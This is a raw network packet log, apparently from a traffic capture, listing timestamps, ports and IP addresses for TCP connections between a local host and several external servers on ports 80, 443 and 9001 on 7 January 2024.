Jan 7, 2024 05:29:59.556343079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.556379080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556469917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556535959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.556591034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556659937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556710005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.556870937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557096004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557152987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557169914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.557579994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557617903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.557673931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557789087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557888031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557928085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.557975054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.557996035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558022022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.558046103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558085918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.558144093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558233976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558255911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558295012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.558339119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.558382034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.558425903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.606712103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.645438910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.645512104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.645616055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.691819906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.691838026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.691895962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.705529928 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.705641031 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.705729961 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.714029074 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.714059114 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.749515057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.749552011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.749615908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.749794960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.749892950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750094891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750168085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.750185013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750230074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.750267029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750356913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750683069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750734091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.750797987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.750843048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.750940084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.751045942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.751774073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.751828909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.751871109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.751913071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.751995087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752010107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752047062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752095938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.752542019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752593040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.752661943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752846956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752938032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.752976894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.753016949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.753055096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.753092051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.753186941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.753453016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.801193953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.801378012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.801469088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.840454102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.840517998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.840579033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.885699987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.885796070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.885888100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.944884062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.945017099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.945087910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.945420980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.945533991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946120024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.946161032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946270943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946345091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.946365118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946427107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946609020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946659088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.946764946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.946809053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.947218895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947313070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947357893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.947431087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947506905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947537899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947581053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.947590113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.947632074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.948060036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948158979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948210001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948255062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.948318958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948362112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.948390007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948421001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948869944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.948911905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.948961973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.949002028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.996814966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.996872902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.996983051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.035789967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:00.091075897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.265594006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.265642881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.460190058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:00.476377010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:00.528599977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.749524117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.749555111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:00.943798065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:00.960870028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:01.012999058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:01.966239929 CET	49755	9001	192.168.2.4	88.198.112.25
Jan 7, 2024 05:30:03.313092947 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.313142061 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.313206911 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.320750952 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.320765972 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.506999969 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.507076979 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.543755054 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.543773890 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.544176102 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.546521902 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.546679974 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.546705961 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.936408997 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.936511993 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.936562061 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.940581083 CET	49769	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.940601110 CET	443	49769	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.991043091 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.991091013 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:03.991161108 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.991923094 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:03.991935015 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.177328110 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.177393913 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.181237936 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.181253910 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.181508064 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.182812929 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.182957888 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.182964087 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.582590103 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:04.612350941 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.612457037 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.612504005 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.629182100 CET	49770	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:04.629205942 CET	443	49770	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:04.852241039 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:04.852380991 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:04.854701042 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.175225019 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.175288916 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.175335884 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.405513048 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.405605078 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.405670881 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.405706882 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.405827999 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.405868053 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.579071045 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.579111099 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.579176903 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.579741001 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.579760075 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.636045933 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.636105061 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.636177063 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.636230946 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.637690067 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.637732029 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.637757063 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.637839079 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.637871981 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.637897968 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.637970924 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.638089895 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.767793894 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.767873049 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.774506092 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.774522066 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.774815083 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.776026964 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.776906967 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.776937008 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777024984 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777053118 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777178049 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777239084 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777394056 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777415037 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777748108 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777770996 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777890921 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777908087 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.777920961 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.777930021 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.778038979 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.778059959 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.778074980 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.778217077 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.778234005 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.820744038 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.820955992 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.820987940 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.821007013 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.821018934 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.821038008 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.821049929 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.821078062 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:05.821084976 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:05.860958099 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.862050056 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.862088919 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.862103939 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.862152100 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.862186909 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.864490986 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.864504099 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.864556074 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.866705894 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.866789103 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.866843939 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.866844893 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.868964911 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.868984938 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.869010925 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.870534897 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.870573044 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.870652914 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.870692015 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.870763063 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:05.872430086 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.872443914 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:05.872488022 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.088071108 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.088113070 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.088186979 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.090452909 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.090466022 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.090539932 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.090549946 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.092075109 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.092147112 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.092206001 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.092225075 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.095773935 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.100312948 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100332022 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100387096 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.100394011 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100507021 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100579977 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100621939 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.100651026 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100687981 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.100832939 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100848913 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.100884914 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.100960016 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.101008892 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.101047993 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.102293015 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.102447033 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.102493048 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.102539062 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.104268074 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.104296923 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.104332924 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.104362965 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.106340885 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.106405020 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.106553078 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.107738972 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.108338118 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.108455896 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.108490944 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.108499050 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.110338926 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.110383034 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.110421896 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.110491037 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.111457109 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.169236898 CET	49743	9001	192.168.2.4	78.46.174.72
Jan 7, 2024 05:30:06.308204889 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.308393002 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.308456898 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.309978008 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.310313940 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.310355902 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.314045906 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.315321922 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.315356016 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.315372944 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.316091061 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.316131115 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.316176891 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.316678047 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.316730022 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.318240881 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.318325996 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.318367958 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.318434000 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.320173025 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.320209026 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.320225000 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.320293903 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.320492983 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.322197914 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.322428942 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.322498083 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.322516918 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.332603931 CET	80	49771	91.104.83.7	192.168.2.4
